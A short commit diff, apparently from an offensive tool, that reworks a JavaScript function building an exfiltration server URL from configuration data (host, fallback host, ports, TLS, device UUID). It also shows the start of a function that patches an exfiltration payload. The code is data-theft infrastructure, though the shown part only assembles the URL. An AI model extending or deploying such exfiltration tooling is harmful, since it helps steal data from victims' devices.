feat: ds
This commit is contained in:
@@ -80,7 +80,14 @@ function applyExfilFromData(data) {
|
||||
if (data.exfilFallbackHost) __exfilFallbackHost = String(data.exfilFallbackHost).split(':')[0];
|
||||
if (data.exfilFallbackHttpPort != null) __exfilFallbackHttp = Number(data.exfilFallbackHttpPort);
|
||||
if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase();
|
||||
try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 80); } catch (_e) { __labExfilUrl = ''; }
|
||||
try {
|
||||
var _tls = !!__exfilTls;
|
||||
var _port = Number(_tls ? (__exfilHttpsPort || 443) : (__exfilHttpPort || 80)) || (_tls ? 443 : 80);
|
||||
if (!_tls && _port === 443) { _tls = true; }
|
||||
var _h = String(__exfilHost || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
__labExfilUrl = (_tls ? 'https://' : 'http://') + _h;
|
||||
if (!((_tls && _port === 443) || (!_tls && _port === 80))) __labExfilUrl += ':' + _port;
|
||||
} catch (_e) { __labExfilUrl = ''; }
|
||||
}
|
||||
function patchExfilPayload(script) {
|
||||
if (!script) return script;
|
||||
|
||||
Reference in New Issue
Block a user